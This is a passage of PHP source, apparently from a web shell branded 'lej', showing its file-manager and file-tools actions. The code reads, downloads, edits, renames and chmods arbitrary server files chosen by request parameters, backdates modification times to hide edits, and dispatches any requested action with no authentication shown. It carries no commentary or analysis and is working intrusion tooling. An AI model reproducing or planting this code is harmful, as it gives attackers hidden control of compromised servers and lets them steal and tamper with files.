  546.             .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
  547.         $l = $l?0:1;
  548.     }
  549.     echo "<tr><td colspan=7>
  550.     <input type=hidden name=ne value=''>
  551.     <input type=hidden name=a value='FilesMan'>
  552.     <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
  553.     <input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
  554.     <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
  555.     if(class_exists('ZipArchive'))
  556.         echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
  557.     echo "<option value='tar'>Compress (tar.gz)</option>";
  558.     if(!empty($_COOKIE['act']) && @count($_COOKIE['f']))
  559.         echo "<option value='paste'>Paste / Compress</option>";
  560.     echo "</select> ";
  561.     if(!empty($_COOKIE['act']) && @count($_COOKIE['f']) && (($_COOKIE['act'] == 'zip') || ($_COOKIE['act'] == 'tar')))
  562.         echo "file name: <input type=text name=p2 value='lej_" . date("Ymd_His") . "." . ($_COOKIE['act'] == 'zip'?'zip':'tar.gz') . "'> ";
  563.     echo "<input type='submit' value='>>'></td></tr></form></table></div>";
  564.     lejFooter();
  565. }
  566. function actionFilesTools() {
  567.     if( isset($_POST['p1']) )
  568.         $_POST['p1'] = urldecode($_POST['p1']);
  569.     if(@$_POST['p2']=='download') {
  570.         if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
  571.             ob_start("ob_gzhandler", 4096);
  572.             header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
  573.             if (function_exists("mime_content_type")) {
  574.                 $type = @mime_content_type($_POST['p1']);
  575.                 header("Content-Type: " . $type);
  576.             } else
  577.                 header("Content-Type: application/octet-stream");
  578.             $fp = @fopen($_POST['p1'], "r");
  579.             if($fp) {
  580.                 while(!@feof($fp))
  581.                     echo @fread($fp, 1024);
  582.                 fclose($fp);
  583.             }
  584.         }exit;
  585.     }
  586.     if( @$_POST['p2'] == 'mkfile' ) {
  587.         if(!file_exists($_POST['p1'])) {
  588.             $fp = @fopen($_POST['p1'], 'w');
  589.             if($fp) {
  590.                 $_POST['p2'] = "edit";
  591.                 fclose($fp);
  592.             }
  593.         }
  594.     }
  595.     lejHeader();
  596.     echo '<h1>File tools</h1><div class=content>';
  597.     if( !file_exists(@$_POST['p1']) ) {
  598.         echo 'File not exists';
  599.         lejFooter();
  600.         return;
  601.     }
  602.     $uid = @posix_getpwuid(@fileowner($_POST['p1']));
  603.     if(!$uid) {
  604.         $uid['name'] = @fileowner($_POST['p1']);
  605.         $gid['name'] = @filegroup($_POST['p1']);
  606.     } else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
  607.     echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?lejViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.lejPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
  608.     echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
  609.     if( empty($_POST['p2']) )
  610.         $_POST['p2'] = 'view';
  611.     if( is_file($_POST['p1']) )
  612.         $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
  613.     else
  614.         $m = array('Chmod', 'Rename', 'Touch');
  615.     foreach($m as $v)
  616.         echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['p1']) . '\',\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
  617.     echo '<br><br>';
  618.     switch($_POST['p2']) {
  619.         case 'view':
  620.             echo '<pre class=ml1>';
  621.             $fp = @fopen($_POST['p1'], 'r');
  622.             if($fp) {
  623.                 while( !@feof($fp) )
  624.                     echo htmlspecialchars(@fread($fp, 1024));
  625.                 @fclose($fp);
  626.             }
  627.             echo '</pre>';
  628.             break;
  629.         case 'highlight':
  630.             if( @is_readable($_POST['p1']) ) {
  631.                 echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
  632.                 $code = @highlight_file($_POST['p1'],true);
  633.                 echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
  634.             }
  635.             break;
  636.         case 'chmod':
  637.             if( !empty($_POST['p3']) ) {
  638.                 $perms = 0;
  639.                 for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
  640.                     $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
  641.                 if(!@chmod($_POST['p1'], $perms))
  642.                     echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
  643.             }
  644.             clearstatcache();
  645.             echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
  646.             break;
  647.         case 'edit':
  648.             if( !is_writable($_POST['p1'])) {
  649.                 echo 'File isn\'t writeable';
  650.                 break;
  651.             }
  652.             if( !empty($_POST['p3']) ) {
  653.                 $time = @filemtime($_POST['p1']);
  654.                 $_POST['p3'] = substr($_POST['p3'],1);
  655.                 $fp = @fopen($_POST['p1'],"w");
  656.                 if($fp) {
  657.                     @fwrite($fp,$_POST['p3']);
  658.                     @fclose($fp);
  659.                     echo 'Saved!<br><script>p3_="";</script>';
  660.                     @touch($_POST['p1'],$time,$time);
  661.                 }
  662.             }
  663.             echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
  664.             $fp = @fopen($_POST['p1'], 'r');
  665.             if($fp) {
  666.                 while( !@feof($fp) )
  667.                     echo htmlspecialchars(@fread($fp, 1024));
  668.                 @fclose($fp);
  669.             }
  670.             echo '</textarea><input type=submit value=">>"></form>';
  671.             break;
  672.         case 'hexdump':
  673.             $c = @file_get_contents($_POST['p1']);
  674.             $n = 0;
  675.             $h = array('00000000<br>','','');
  676.             $len = strlen($c);
  677.             for ($i=0; $i<$len; ++$i) {
  678.                 $h[1] .= sprintf('%02X',ord($c[$i])).' ';
  679.                 switch ( ord($c[$i]) ) {
  680.                     case 0:  $h[2] .= ' '; break;
  681.                     case 9:  $h[2] .= ' '; break;
  682.                     case 10: $h[2] .= ' '; break;
  683.                     case 13: $h[2] .= ' '; break;
  684.                     default: $h[2] .= $c[$i]; break;
  685.                 }
  686.                 $n++;
  687.                 if ($n == 32) {
  688.                     $n = 0;
  689.                     if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
  690.                     $h[1] .= '<br>';
  691.                     $h[2] .= "n";
  692.                 }
  693.              }
  694.             echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
  695.             break;
  696.         case 'rename':
  697.             if( !empty($_POST['p3']) ) {
  698.                 if(!@rename($_POST['p1'], $_POST['p3']))
  699.                     echo 'Can\'t rename!<br>';
  700.                 else
  701.                     die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
  702.             }
  703.             echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
  704.             break;
  705.         case 'touch':
  706.             if( !empty($_POST['p3']) ) {
  707.                 $time = strtotime($_POST['p3']);
  708.                 if($time) {
  709.                     if(!touch($_POST['p1'],$time,$time))
  710.                         echo 'Fail!';
  711.                     else
  712.                         echo 'Touched!';
  713.                 } else echo 'Bad time format!';
  714.             }
  715.             clearstatcache();
  716.             echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
  717.             break;
  718.     }
  719.     echo '</div>';
  720.     lejFooter();
  721. }if( empty($_POST['a']) )
  722.     if(isset($default_action) && function_exists('action' . $default_action))
  723.         $_POST['a'] = $default_action;
  724.     else
  725.         $_POST['a'] = 'FilesMan';
  726. if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
  727.     call_user_func('action' . $_POST['a']);
  728. exit;